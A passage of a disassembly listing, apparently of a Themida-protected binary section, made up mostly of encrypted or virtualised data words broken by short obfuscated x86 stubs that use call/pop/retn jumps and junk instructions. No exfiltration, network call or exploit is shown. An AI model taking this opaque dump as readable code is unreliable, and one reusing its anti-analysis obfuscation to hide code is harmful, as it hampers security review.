		dd 9D030618h, 6150679h,	106C7h,	9D310001h, 61504E5h, 6FBF5096h
		dd 9645BF59h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 18h,	52C35040h, 405C8B6Fh, 1449BD09h, 0BE90615h, 45000000h
		dd 0D88EB7A2h, 6CBC6AA5h, 0B5FFAAD9h, 618BF99h,	0FF25D780h
		dd 1506A195h, 9D895606h, 615006Dh, 8DB58B5Bh, 6A0618BFh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0F3C9C356h, 0F018C7Fh, 680h, 0D6EB8100h
		dd 812683A8h, 22AE98C7h, 59858B73h, 6A061500h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 0AD7FC353h, 85D5D31Ah, 0E9A2E588h, 0Dh, 4581E395h, 3572B953h
		dd 0A465D20h, 0C4868974h, 66000000h, 4EACC781h,	2721958Bh
		dd 8B600615h, 150C89B5h, 95BD8B06h, 61061523h, 0F804C283h
		dd 6A205089h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 7E8CC351h, 13C697BEh, 619D8B1Bh
		dd 8D061500h, 18D45885h, 0E99D8B06h, 89061503h,	0B886h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 19AA6880h, 22F59D89h, 0DD8A0615h, 8B66006Ah
		dd 99B5FFFEh, 6A0618BFh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 2BEAC355h, 1D4D95FFh
		dd 6A0615h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 6116B1C3h, 3B008F8Dh, 2E119D8Bh, 89500615h
		dd 0BD232434h, 61507E5h, 0BF99B5FFh, 6A0618h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 3B8D55C3h
		dd 0BFF59958h, 72995FFh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 2AC01EC3h, 65BD3352h
		dd 0BF06150Dh, 1F9DA145h, 65BD83h, 0F000615h, 4184h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 0D84DC8DCh, 585901Ah, 85314BB7h, 61518E5h, 7A6EBB66h
		dd 2B57BB96h, 565007CBh, 965BCCB3h, 3429BD8Bh, 0B5FF0615h
		dd 618BF99h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	11C35040h, 2D6759A5h, 608AE520h, 13BB6643h, 3995FF0Dh
		dd 6A061504h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 9DCAC350h, 0DBA38E90h,	0FFD8B70Fh
		dd 18BF99B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 95FF5363h, 6150DCDh, 2F6D9D01h, 0BD830615h
		dd 615285Dh, 7D840F02h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 4EC357h
		dd 0F496A40h, 1984h, 14E900h, 0DCC70000h, 5999A46Eh, 0BEE58CA3h
		dd 17698F4Ch, 1F16B7BAh, 0F568A2Ch, 8B5BDAB7h, 15284985h
		dd 38B0F06h, 0F000000h,	0C6D9B7h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 1ECEDD81h
		dd 0F781F8E5h, 81EE912h, 23F585C7h, 615h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 5B9EEEC3h, 0D98B694Fh, 0FFF432E9h, 52006AFFh, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 0BD8B2B53h, 6152835h, 0BF66C18Bh
		db 0Bh,	69h
; ---------------------------------------------------------------------------


loc_5C4EAA:				; DATA XREF: Themida_:0057CDF0o
		lea	eax, [ebp+615279Dh]
		push	0
		push	ebp
		call	sub_5C4EBB
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4EBB	proc near		; CODE XREF: Themida_:005C4EB3p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5C4EBB	endp

; ---------------------------------------------------------------------------
		mov	word ptr [ecx-1C3B7C74h], fs
		cmpsb
		sbb	ebp, [esi+69h]
		pusha
		xor	[ebp+615251Dh],	eax
		jno	loc_5C4EE8
		mov	[ebp+6153001h],	eax


loc_5C4EE8:				; CODE XREF: Themida_:005C4EDCj
		popa
		nop
		pusha
		mov	ebx, edx
		pusha
		mov	edx, 5ED21DB5h
		popa
		popa
		push	eax
		mov	bh, 0F4h
		nop
		push	0
		push	edx
		call	sub_5C4F04
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4F04	proc near		; CODE XREF: Themida_:005C4EFCp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5C4F04	endp

; ---------------------------------------------------------------------------
		dd 9531870Fh, 6151821h,	0DB81006Ah, 516219BBh, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 85895EC3h, 6152249h,	0B6D2858Dh, 6A0619h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0C08323C3h
		dd 11E805h, 1C8C0000h, 0F6500DEBh, 8384CC9Bh, 8C1043Ch
		dd 66E523CEh, 5BF49ABFh, 6A905090h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0E5E3C351h
		dd 8509666Bh, 61500E1h,	2F559589h, 6A0615h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0DAC35343h, 12E97B6Ah
		dd 0CF000000h, 6FDBBF29h, 2D585FBAh, 787A6F1Bh,	2FAA6E4Ah
		dd 0F781667Ah, 6AE6D3h,	20D5BD8Bh, 95FF0615h, 6152679h
		dd 161DB589h, 8D8D0615h, 6189C15h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0CDC35343h,	1D3977ABh, 0C5DB0D0Ch
		dd 6AD1FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 3544F7C3h, 600CFAC2h, 290940F5h, 152EFD9Dh
		dd 0B5BD8306h, 106152Dh, 97850Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 8B2FA6C3h
		dd 0FB8B66DEh, 6A026Ah,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 864EE2C3h, 8B1881CCh, 1505DDBDh
		dd 8BBF6606h, 4895057h,	57006A24h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 22024028h, 0F320F781h
		dd 0BB664EB5h, 0AE9ECEEh, 0F7000000h, 59BF37B0h, 1125E359h
		dd 4D95FF43h, 8B06151Dh, 150A4DBDh, 0DC4E906h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5C5106:				; DATA XREF: Themida_:00579B10o
		call	$+5
		pop	ebp
		sub	ebp, 619B6DCh
		push	0
		push	edx
		call	sub_5C511D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C511D	proc near		; CODE XREF: Themida_:005C5115p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5C511D	endp

; ---------------------------------------------------------------------------
		pop	esi
		sbb	bl, cl
		mov	edi, [ebp+61526C9h]
		jmp	loc_5C5143
; ---------------------------------------------------------------------------
		db 0BFh
		dd 7D8FA095h
		db 17h,	6Eh, 0EDh
; ---------------------------------------------------------------------------


loc_5C5143:				; CODE XREF: Themida_:005C5136j
		lea	eax, [ebp+61888F9h]
		push	eax
		mov	[esp], eax
		push	0
		push	ebp
		call	sub_5C5158
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C5158	proc near		; CODE XREF: Themida_:005C5150p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5C5158	endp

; ---------------------------------------------------------------------------
		dd 0BE1AC69Ch, 8E91Bh, 0DB60000h, 466F976Dh, 0FF6456F4h
		dd 35h,	820F6000h, 2, 6461CE8Bh, 2589h,	6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 8B181EC3h, 89907F67h, 1500618Dh, 29525006h, 15262DBDh
		dd 0FF5B5F06h, 15153585h, 6CCF8006h, 0BB66FF6Ah, 0B5FF6C68h
		dd 61502B5h, 5870Fh, 8BBB0000h,	0FF09F039h, 1508BD95h
		dd 125E906h, 0D7810000h, 9CD6505h, 0E6F500B0h, 0EE870h
		dd 71870000h, 72F6E92Ah, 82C654BCh, 51EFE146h, 898D0150h
		dd 5F061533h, 6671E45Fh, 3CE252BBh, 0F0830F61h,	2B000000h
		dd 1517259Dh, 0C8B60F06h, 6BAFB8Bh, 53000000h, 0F99D8B5Fh
		dd 8B06152Ah, 59589C1h,	89061525h, 151E7D85h, 4E8C106h
		dd 0F766FAB3h, 599D01E2h, 2B061506h, 0DEBF0FC8h, 0D18BDE8Bh
		dd 13E9h, 867B7B00h, 6EAB5E97h,	99191639h, 0F1ED4C04h
		dd 7C2BD2E2h, 5E9h, 0F7816600h,	858B5A56h, 6150C8Dh, 6860F60h
		dd 31000000h, 1511B9BDh, 8E906h, 82AA0000h, 0AF0A4342h
		dd 83614F0Bh, 5BB07C0h,	833FEC0Fh, 8B6600C0h, 0FD03BFBh
		dd 2483h, 11E800h, 0D3D80000h, 483E3613h, 6E6199DCh, 37349FD7h
		dd 662AC893h, 5F018BBFh, 3AE9h,	0CDBF6600h, 0E58D8B23h
		dd 29061515h, 150BB1B5h, 1E18306h, 21840Fh, 31570000h
		dd 150D718Dh, 0A5835F06h, 61515E5h, 66D780FEh, 9589DA8Bh
		dd 6150C8Dh, 0E9DA8Bh, 8D000000h, 192A47B5h, 11E906h, 0A0450000h
		dd 8AA2361Fh, 10EB21C7h, 233B6E9Dh, 66AC0F00h, 6A886ABBh
		dd 0FFD98B00h, 152E2195h, 398D8906h, 0B906152Fh, 842h
		dd 13E9h, 75A6B500h, 1F64CDE5h,	63270E6Ah, 3BAF3A65h, 55AD6B2h
		dd 0E9FCE183h, 6, 0DD80B8AFh, 8BFC4237h, 1506B1BDh, 0B806h
		dd 95290000h, 6151391h,	0BAh, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 85F74023h
		dd 0DB2BBF66h, 2CDBD8Bh, 33AD0615h, 3E8D1C2h, 4E983D0h
		dd 0B70FF475h, 50006ADAh, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 706143EFh, 369C88D6h
		dd 880D8E11h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 6B2AC351h, 0BB66AF5Dh
		dd 958BFB6Bh, 6152721h,	8E8F88Bh, 0DE000000h, 1999E45Dh
		dd 0E8AA83CAh, 10h, 0B0E1E1C0h,	5F059D71h, 0FA0140BDh
		dd 0F7D471C9h, 0B204BF66h, 8D8B5B5Bh, 61504CDh,	325BB66h
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	0BF0F5818h
		dd 57006AD9h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0F54234ACh, 1D48352Ah, 0A9BD83C5h, 61518h
		dd 7C840Fh, 14E90000h, 0C3000000h, 0EED2B7C6h, 0D48C44B0h
		dd 6A108220h, 3AB19CF9h, 0B82CA453h, 0
; ---------------------------------------------------------------------------
		pusha
		xor	[ebp+6152719h],	edi
		popa
		lea	ecx, [ebp+6154F9Eh]
		push	0
		push	eax
		call	sub_5C54C1
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C54C1	proc near		; CODE XREF: Themida_:005C54B9p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5C54C1	endp

; ---------------------------------------------------------------------------
		db 0E9h, 14h, 0FAh
		dd 0BD8B1A6Eh, 6152D6Dh, 6AE1FFh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 0FB8B17C3h, 5E9h, 1166EE00h
		dd 0BD83149Eh, 6151115h, 78840F00h, 6A000004h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0EB11C353h, 0CCA4F320h, 0E4BF3A5Fh, 836F1DF8h, 151115BDh
		dd 840F0106h, 45Eh, 24A59589h, 0BD830615h, 6151115h, 15860F03h
		dd 23000004h, 15101D9Dh, 6A6006h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0CE972C3h, 35000000h
		dd 6673B013h, 826B61CCh, 0E964F239h, 0Ch, 0C3A61B5Eh, 8EA6DC7Fh
		dd 0AA57A119h, 66D98C66h, 0E180D88Bh, 7B6DBF04h, 0C90A3421h
		dd 146840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 172CFAC3h, 13E8h, 3B814100h, 144F505Ch
		dd 4F7C6370h, 0F6D4CA80h, 328D82B7h, 59CB8166h,	858B5BE8h
		dd 615249Dh, 850EF0BBh,	0B585337Ch, 6A061519h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0AE56C351h, 0B65CE155h, 0E4738EE0h, 0FFAB70Fh, 8B90FFB7h
		dd 0BE950F8h, 47000000h, 9DE1649Fh, 5410A75h, 6A906D0Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 4F2C357h,	0CDBE742Fh, 8589272Fh, 61514D9h
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 7A02A8C3h, 0E039009Dh, 3D8589EBh,	31061502h
		dd 150BDD9Dh, 0CCAF6806h, 8B661069h, 243481F9h,	1076CF50h
		dd 0DE9h, 38FA1600h, 0EB316E73h, 41A00700h, 95FF9343h
		dd 6150DADh, 1CF1B589h,	85890615h, 618BF99h, 7C18531h
		dd 26E90615h, 6A000002h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0F5C6C356h,	8C937BD6h
		dd 0BF91858Bh, 6A0618h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 55EC26C3h, 1800C7h, 51600000h, 16158D29h
		dd 665E0615h, 61119EBEh, 0BF95B58Bh, 0E9BF0618h, 8B47436Fh
		dd 150C4585h, 0A8E78106h, 8915FB74h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 8C5F2C0h, 0E2B5E292h
		dd 0B503602Eh, 61505B9h, 89619BB2h, 15018DB5h, 9D858B06h
		dd 60061524h, 859501F9h, 6106151Dh, 6A044689h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0FA1DC357h, 0DD0DA6FDh, 0F525096h, 0A81h, 5E900h, 771E0000h
		dd 0FDEAC32h, 0DE8B6631h, 0E950585Ah, 10h, 7B5C14FBh, 0FE0BA0F1h
		dd 614F6371h, 0DF3999C4h, 56006A96h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 606B2F41h
		dd 14E91Ah, 235E0000h, 29E5735h, 2BC81AE0h, 6E271392h
		dd 8658B2FDh, 0DE8D226h, 83000000h, 28469B20h, 77F4AD09h
		dd 797F4638h, 10E9h, 62E89F00h,	98856514h, 0E5C70E4Ah
		dd 57FA8F07h, 0B5FF5F3Dh, 618BF91h, 0D5958B60h,	8106152Ah
		dd 0C3BCDFE3h, 9D8B6176h, 615024Dh, 4E8h, 1F03FF00h, 8DB46000h
		dd 0BB665061h, 448B7545h, 8A570424h, 8B5BDAh, 8B665250h
		dd 5A310FF9h, 24448958h, 61BF6604h, 6A583Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 6C6E34C3h
		dd 2435B529h, 858D0615h, 618BF99h, 1E718D09h, 0BF660615h
		dd 8B506E06h, 240489DAh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 40C35545h, 8597D33Ch,	7E9D8F2h, 0F000000h
		dd 0FF21935Eh, 95FF13BBh, 6150DADh, 0ECF38166h,	8D896190h
		dd 6150AA9h, 111585C7h,	30615h,	6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0F9F489C3h
		dd 0BF99BD83h, 0F000618h, 3384h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 8B55610Eh
		dd 1533A5BDh, 25E906h, 8B600000h, 15010D9Dh, 61C38A06h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h
		dd 3E85000h
		db 0
byte_5C59C9	db 2 dup(0), 20h	; DATA XREF: Themida_:00579CC4o
					; Themida_:0057C730o
; ---------------------------------------------------------------------------
		pop	eax
		retn
; ---------------------------------------------------------------------------
		pop	eax
		mov	[esp+4], eax
		add	dword ptr [esp+4], 19h
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 21C5h
		dd 6B14A879h, 8BDFB70Fh, 152FA5BDh, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 8AD7B348h
		dd 0DE904FAh, 2D000000h, 0E065C12Bh, 0CDA93A67h, 67FA3FE0h
		dd 1115BD83h, 0F030615h, 47E85h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 2634EC9h, 99BD83F9h
		dd 618BFh, 451840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 0A84D18C3h, 0B589FDA8h
		dd 6151CE5h, 0BF99B5FFh, 6A0618h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0A03D31C3h, 1559D8Bh
		dd 95FF0615h, 61510E1h,	27199D8Bh, 0B58B0615h, 618BF8Dh
		dd 0C7ADD380h, 1000106h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 78B83723h, 9E938h, 5C6E0000h
		dd 23857E15h, 9603AA6Ah, 0AE9h,	93FD6900h, 0F927B4CEh
		dd 50FD0FB7h, 9890Fh, 53600000h, 7270BA5Eh, 9661277Fh
		dd 0D1D9D8Bh, 0B5FF0615h, 618BF99h, 0A099D01h, 95890615h
		dd 6150479h, 6A195FFh, 5E80615h, 0C000000h, 0B604DB46h
		dd 8DB58B5Bh, 6A0618BFh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 57D6C353h, 3B1CFC89h
		dd 59858Bh, 6A0615h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 150424h, 57470000h, 894D00C3h, 0C486h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
		dd 0E6C6404Ch, 8B5BF850h, 15272195h, 0AD858906h, 8306152Eh
		dd 6A04C2h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 5E9786C3h, 16396EABh, 119D8919h, 8906152Dh
		dd 6A2050h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 3350F0C3h, 0B30C7B29h, 0EE9FBh, 0D5CF0000h
		dd 9B78E1D9h, 0E81CDB3Eh, 0AF9AB839h, 0D458858Dh, 6A0618h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 9EA5C4C3h, 0F021AAC0h, 660E3458h, 894880BBh,	0B886h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 1E57B599h, 6AE56F4Ch, 0FFD88B00h, 18BF99B5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 0CA9C5C27h, 9ED13D28h, 5E92854h,	8B000000h
		dd 635F0B1Fh, 1D4D95FFh, 0E3810615h, 39CB2A5Ch,	12E86050h
		dd 0FB000000h, 0F35B2256h, 3F1E08F1h, 927C5828h, 17F7426Eh
		dd 8B665B88h, 348961CEh, 0DFB70F24h, 0BF99B5FFh, 6A0618h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 8C3A70C3h, 0EF8166F2h, 95FFB894h, 6150729h, 65BD83h
		dd 0F000615h, 5784h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 0B756B66Ah, 9D8BA8E2h
		dd 6152D51h, 0E9525096h, 0Bh, 6C1F562Eh, 2500D9F2h, 0F9341D0h
		dd 0B7525031h, 0BB310FF5h, 28BAC6FCh, 585A585Ah, 27BF6650h
		dd 9D899655h, 61528C5h,	0BF99B5FFh, 6A0618h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 8ADFFEC3h
		dd 0B23FE872h, 0B70FF592h, 69BD8BDFh, 0FF061524h, 15043995h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0D63B535Fh, 0BD8B6331h, 6152709h, 9E9h
		dd 2E313B00h, 5E6A0Fh, 0B5FF9430h, 618BF99h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 52C35141h, 0A38119AEh
		dd 1D8589B4h, 0FF061534h, 150DCD95h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0A30C0B7Eh
		dd 0FE96391h, 0FB000000h, 555F6D05h, 2A3DA358h,	29CB63CDh
		dd 0BD835383h, 615285Dh, 24840F02h, 0E9000000h,	0Bh, 64A044C4h
		dd 64D430C0h, 8B01F2C4h, 15284985h, 7943BB06h, 0C6052Bh
		dd 0C9850100h, 0C706152Dh, 1523F585h, 6, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
		dd 1E07BE6Eh, 458589FCh, 0E9061513h, 0FFFFF31Ch, 0A7FFF781h
		dd 0C18B7DBCh, 68F0Fh, 0BD290000h, 6150005h, 25459D09h
		dd 858D0615h, 615279Dh,	0E8E62ABBh, 52505053h, 0BE8h, 0B190A600h
		dd 694A05C6h, 21A31C04h, 5FF98B66h, 585A310Fh, 6A240489h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 65CEC350h, 0DD4A71A7h, 6A6EB309h,	56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0BB2A5B1Bh, 0E37482DCh, 1605BD89h, 6A0615h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 89C35545h, 858DDD67h
		dd 619C635h, 2C759D03h,	0C0830615h, 5090FC05h, 8B0Fh, 66900000h
		dd 6A2AA8BFh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 58317D19h, 0A096F0BFh, 0DFB70F06h
		dd 22D1BD8Bh, 6A0615h, 0CE4969BBh, 7995FF61h, 8D061526h
		dd 189C158Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 891609D3h, 15179185h, 6296BF06h
		dd 0D1FF4258h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	0C9C35343h, 41F8B500h, 8BADA26Bh, 152F899Dh, 0B5BD8306h
		dd 106152Dh, 42850Fh, 8B660000h, 89026ADEh, 1520B9B5h
		dd 830F5006h, 8, 2890Fh, 0FE8B0000h, 89240489h,	1528A985h
		dd 4D95FF06h, 0E906151Dh, 14h, 0F6EBEFDBh, 2A0C649Ch, 0DB9C9BE6h
		dd 1D2D126Ah, 5D26DB58h, 0F81E9h, 0E800h, 815D0000h, 19C63FEDh
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 160B2A4h, 150821BDh, 25B52906h, 61061511h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0DDC35747h
		dd 8973E778h, 150E11BDh, 0F9858D06h, 6A061888h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0BA49C350h, 0F6A66E9h, 584h,	1068BF00h, 8531377Ah, 6150D71h
		dd 0AD25DB81h, 0BB90731Eh, 2530DF59h, 16A4BB50h, 8B905195h
		dd 35FF64FAh, 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5C6123
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C6123	proc near		; CODE XREF: Themida_:005C611Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5C6123	endp

; ---------------------------------------------------------------------------
		xor	[esi], eax
		mov	large fs:0, esp
		clc
		inc	dword ptr [ebp+6151535h]
		mov	[ebp+6150765h],	edi


loc_5C6149:				; CODE XREF: Themida_:005C6F80j
		push	0FFFFFFFFh
		push	0
		push	esi
		call	sub_5C6156
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C6156	proc near		; CODE XREF: Themida_:005C614Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5C6156	endp

; ---------------------------------------------------------------------------
		dw 0D4DCh
		dd 1B15A370h, 0B5FF76F7h, 61523E1h, 13870Fh, 0EE90000h
		dd 43000000h, 280FBCFBh, 58150E88h, 0FC4D2463h,	0BD95FF60h
		dd 0E9061508h, 15Bh, 8100B0F8h,	47441D3h, 8970E627h, 1530159Dh
		dd 8B71E406h, 150A11BDh, 0F613C06h, 13A83h, 12E900h, 92840000h
		dd 0A99914A6h, 0E15873A2h, 40FA8EC9h, 0C52FFBA4h, 89C8B60Fh
		dd 1518F5B5h, 6BA06h, 0BF0F0000h, 56C18BFAh, 31958B60h
		dd 8906151Ah, 1527A19Dh, 0C15F6106h, 0B58904E8h, 6150CADh
		dd 0FE2F766h, 1E80h, 10E86000h,	89000000h, 0E47CCAB8h
		dd 95E868DEh, 6E8A3h, 5B3D31C8h, 8C0Fh,	0E9610000h, 13h
		dd 365842E9h, 3D0438A5h, 26CE9515h, 0E9958EEAh,	2B21432Fh
		dd 0FE8A60C8h, 12870Fh,	0DE90000h, 0F9000000h, 0B2416102h
		dd 367B4BB4h, 95AB3B36h, 89D18B61h, 1507C1BDh, 6D952906h
		dd 0E9061521h, 87h, 0BE8h, 2CDADE00h, 0B0E651F7h, 0CC9EF94Ch
		dd 10DBD8Bh, 8B5B0615h,	885h, 8E900h, 0D14D0000h, 0ADDC9C0Eh
		dd 6EBF17E9h, 8323F7FEh, 9D8B07C0h, 6150C75h, 0F900C083h
		dd 830FD03Bh, 0Eh, 9A5BB52h, 0E95F3271h, 37h, 8D8BFE8Bh
		dd 0FFFFFFFFh, 109D9D89h, 0E1830615h, 20840F01h, 8B000000h
		dd 1517D1BDh, 0FFA58306h, 0FEFFFFFFh, 10519D8Bh, 95890615h
		dd 8, 0E91BB7h,	8D000000h, 194304B5h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
		dd 0FDAAA401h, 12E896h
		db 2 dup(0)
word_5C631E	dw 0C284h		; DATA XREF: Themida_:00579C54o
		dd 27654EF3h, 6C14CB40h, 0F0011691h, 864A0078h,	0E026F781h
		dd 6A5F6B2Ah, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 0AD89D02h, 0E2EAA2D6h, 95FFD1DDh
		dd 6152E21h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	0DBC35141h, 0A3494FBBh,	1D85897Ch, 0F061515h, 68Eh
		dd 9DBD0900h, 0B9061510h, 1043h, 68B0F60h, 33000000h, 151A5595h
		dd 6870F06h, 89000000h,	1521E98Dh, 0E1836106h, 55006AFCh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 0E8541B94h, 11h, 0F5FCB0B6h,	0C8A86DC4h, 22F4F229h
